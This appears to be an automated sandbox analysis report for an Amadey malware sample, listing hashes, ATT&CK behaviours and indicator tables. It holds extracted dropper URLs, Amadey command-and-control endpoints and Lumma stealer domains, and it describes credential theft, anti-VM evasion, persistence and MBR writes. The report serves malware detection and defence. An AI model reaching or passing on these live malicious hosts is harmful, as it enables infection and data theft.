amadey | 7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa

Analysis

max time kernel
141s
max time network
150s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
29/03/2025, 15:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Size

938KB
MD5

ed19338ae7b4f14a6300a82555194914
SHA1

c4b17e900215a704197817f8d419b40a07d687e8
SHA256

7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa
SHA512

64fc35627f5790aa025d05515e8b353ed7825f0cfaf975304933d33b219ccbf7e8e41f9f83152a0a8315568b5195dbbb669d446f6a58f5d3f3a9b9937d16ddca
SSDEEP

24576:9qDEvCTbMWu7rQYlBQcBiT6rprG8a0hu:9TvC/MTQYxsWR7a0h

Score

10^/10

amadey gcleaner healer lumma 092155 97fe15 bootkit credential_access defense_evasion discovery dropper execution loader persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

amadey

Version

5.20

Botnet

97fe15

http://185.215.113.209

Attributes

install_dir
97419fb2c0
install_file
futors.exe
strings_key
ce0b89c831d45810d856da111e87cdbf
url_paths
/Di0Her478/index.php

rc4.plain

Extracted

Family

lumma

https://esccapewz.run/ANSbwqy

https://travewlio.shop/ZNxbHi

https://touvrlane.bet/ASKwjq

https://sighbtseeing.shop/ASJnzh

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://holidamyup.today/AOzkns

https://mtriplooqp.world/APowko

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral1/files/0x000900000000e611-1476.dat	healer
behavioral1/memory/2932-1486-0x00000000012E0000-0x00000000012EA000-memory.dmp	healer

GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	59d9864282.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	632e0ac6b2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b09088c50f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2071459991.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e460970a21.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	eb1289c4af.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2220	powershell.exe
8	540	powershell.exe
9	2244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
540	powershell.exe
2244	powershell.exe
2992	powershell.exe
2220	powershell.exe
1936	powershell.exe
1812	powershell.exe
2360	powershell.exe

Downloads MZ/PE file 18 IoCs

flow	pid	Process
29	2492	rapes.exe
29	2492	rapes.exe
29	2492	rapes.exe
29	2492	rapes.exe
66	2492	rapes.exe
9	2244	powershell.exe
67	2492	rapes.exe
4	2220	powershell.exe
13	2492	rapes.exe
50	2492	rapes.exe
56	1448	svchost015.exe
64	1372	svchost015.exe
60	2492	rapes.exe
8	540	powershell.exe
7	2492	rapes.exe
14	2920	futors.exe
55	2368	svchost015.exe
59	604	svchost015.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3756	chrome.exe
3116	chrome.exe
4076	chrome.exe
540	chrome.exe
2600	chrome.exe
1508	chrome.exe
2040	chrome.exe
2512	chrome.exe

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	59d9864282.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	59d9864282.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e460970a21.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	eb1289c4af.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	632e0ac6b2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b09088c50f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e460970a21.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b09088c50f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2071459991.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	eb1289c4af.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	632e0ac6b2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2071459991.exe

Executes dropped EXE 30 IoCs

pid	Process
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
2492	rapes.exe
1220	b4b69140ca.exe
2612	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
2316	6lV7WRt.exe
2732	483d2fa8a0d53818306efeb32d3.exe
1688	amnew.exe
2920	futors.exe
1160	632e0ac6b2.exe
1728	b09088c50f.exe
2368	svchost015.exe
2816	2071459991.exe
1448	svchost015.exe
2040	59d9864282.exe
2528	e460970a21.exe
604	svchost015.exe
1372	svchost015.exe
2052	6lV7WRt.exe
2192	Rm3cVPI.exe
2584	eb1289c4af.exe
2072	TbV75ZR.exe
2932	EPTwCQd.exe
2524	7IIl2eE.exe
916	Passwords.com
2128	u75a1_003.exe
2884	c7198f4a0e.exe
864	8LfjZ9b.exe
2392	8LfjZ9b.exe
1812	30bed13d49.exe
1868	016815e188.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	632e0ac6b2.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	b09088c50f.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	2071459991.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	59d9864282.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	e460970a21.exe
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Wine	eb1289c4af.exe

Loads dropped DLL 64 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
2492	rapes.exe
540	powershell.exe
540	powershell.exe
2492	rapes.exe
2492	rapes.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2220	WerFault.exe
2244	powershell.exe
2244	powershell.exe
2492	rapes.exe
1688	amnew.exe
2492	rapes.exe
2492	rapes.exe
2920	futors.exe
2920	futors.exe
1728	b09088c50f.exe
2492	rapes.exe
2492	rapes.exe
2816	2071459991.exe
2920	futors.exe
2920	futors.exe
2492	rapes.exe
2492	rapes.exe
2040	59d9864282.exe
2528	e460970a21.exe
2492	rapes.exe
2492	rapes.exe
292	WerFault.exe
292	WerFault.exe
292	WerFault.exe
292	WerFault.exe
2492	rapes.exe
2492	rapes.exe
2492	rapes.exe
2492	rapes.exe
2492	rapes.exe
2492	rapes.exe
684	WerFault.exe
684	WerFault.exe
684	WerFault.exe
684	WerFault.exe
2492	rapes.exe
2492	rapes.exe
2944	WerFault.exe
2944	WerFault.exe
2944	WerFault.exe
2944	WerFault.exe
2492	rapes.exe
2524	7IIl2eE.exe
2200	CMD.exe
2492	rapes.exe
2492	rapes.exe
2492	rapes.exe
1212	WerFault.exe
1212	WerFault.exe
1212	WerFault.exe
1212	WerFault.exe
2492	rapes.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\30bed13d49.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10370390101\\30bed13d49.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\016815e188.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10370400101\\016815e188.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\b4b69140ca.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369870101\\b4b69140ca.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10369880121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\b09088c50f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10044090101\\b09088c50f.exe"	futors.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\59d9864282.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10044100101\\59d9864282.exe"	futors.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	eb1289c4af.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000500000001925d-40.dat	autoit_exe
behavioral1/files/0x000500000001d70c-1446.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
1860	tasklist.exe
1964	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
2492	rapes.exe
2612	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
2732	483d2fa8a0d53818306efeb32d3.exe
1160	632e0ac6b2.exe
1728	b09088c50f.exe
2816	2071459991.exe
2040	59d9864282.exe
2528	e460970a21.exe
2584	eb1289c4af.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1728 set thread context of 2368	1728	b09088c50f.exe	69
PID 2816 set thread context of 1448	2816	2071459991.exe	71
PID 2040 set thread context of 604	2040	59d9864282.exe	74
PID 2528 set thread context of 1372	2528	e460970a21.exe	75

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File created	C:\Windows\Tasks\rapes.job	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	016815e188.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2071459991.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	u75a1_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e460970a21.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	30bed13d49.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b4b69140ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	632e0ac6b2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	59d9864282.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b09088c50f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	016815e188.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	016815e188.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2592	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2240	taskkill.exe
2804	taskkill.exe
2516	taskkill.exe
324	taskkill.exe
916	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2076	schtasks.exe
2184	schtasks.exe
2424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
2220	powershell.exe
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
2492	rapes.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
2612	TempDEKOVLHSNUJDS1ZAMXSPOURENCFRM5YE.EXE
1936	powershell.exe
1812	powershell.exe
2360	powershell.exe
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe
2732	483d2fa8a0d53818306efeb32d3.exe
1160	632e0ac6b2.exe
1728	b09088c50f.exe
2816	2071459991.exe
1160	632e0ac6b2.exe
1160	632e0ac6b2.exe
1160	632e0ac6b2.exe
1160	632e0ac6b2.exe
2040	59d9864282.exe
2528	e460970a21.exe
2192	Rm3cVPI.exe
2192	Rm3cVPI.exe
2192	Rm3cVPI.exe
2192	Rm3cVPI.exe
2584	eb1289c4af.exe
916	Passwords.com
916	Passwords.com
916	Passwords.com
2992	powershell.exe
916	Passwords.com
916	Passwords.com
916	Passwords.com
916	Passwords.com
1812	30bed13d49.exe
1812	30bed13d49.exe
1812	30bed13d49.exe
1812	30bed13d49.exe
1868	016815e188.exe
1868	016815e188.exe
540	chrome.exe
540	chrome.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	1860	tasklist.exe
Token: SeDebugPrivilege	1964	tasklist.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe

Suspicious use of FindShellTrayWindow 12 IoCs

pid	Process
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE
1220	b4b69140ca.exe
1220	b4b69140ca.exe
1220	b4b69140ca.exe
1688	amnew.exe
916	Passwords.com
916	Passwords.com
916	Passwords.com
540	chrome.exe

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1220	b4b69140ca.exe
1220	b4b69140ca.exe
1220	b4b69140ca.exe
916	Passwords.com
916	Passwords.com
916	Passwords.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2248	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	28
PID 2844 wrote to memory of 2248	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	28
PID 2844 wrote to memory of 2248	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	28
PID 2844 wrote to memory of 2248	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	28
PID 2844 wrote to memory of 1012	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	29
PID 2844 wrote to memory of 1012	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	29
PID 2844 wrote to memory of 1012	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	29
PID 2844 wrote to memory of 1012	2844	2025-03-29_ed19338ae7b4f14a6300a82555194914_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	29
PID 2248 wrote to memory of 2424	2248	cmd.exe	31
PID 2248 wrote to memory of 2424	2248	cmd.exe	31
PID 2248 wrote to memory of 2424	2248	cmd.exe	31
PID 2248 wrote to memory of 2424	2248	cmd.exe	31
PID 1012 wrote to memory of 2220	1012	mshta.exe	32
PID 1012 wrote to memory of 2220	1012	mshta.exe	32
PID 1012 wrote to memory of 2220	1012	mshta.exe	32
PID 1012 wrote to memory of 2220	1012	mshta.exe	32
PID 2220 wrote to memory of 2832	2220	powershell.exe	34
PID 2220 wrote to memory of 2832	2220	powershell.exe	34
PID 2220 wrote to memory of 2832	2220	powershell.exe	34
PID 2220 wrote to memory of 2832	2220	powershell.exe	34
PID 2832 wrote to memory of 2492	2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE	37
PID 2832 wrote to memory of 2492	2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE	37
PID 2832 wrote to memory of 2492	2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE	37
PID 2832 wrote to memory of 2492	2832	TempD4R4VKI936SXUCEJUDTSJC0HHNCFWQ2T.EXE	37
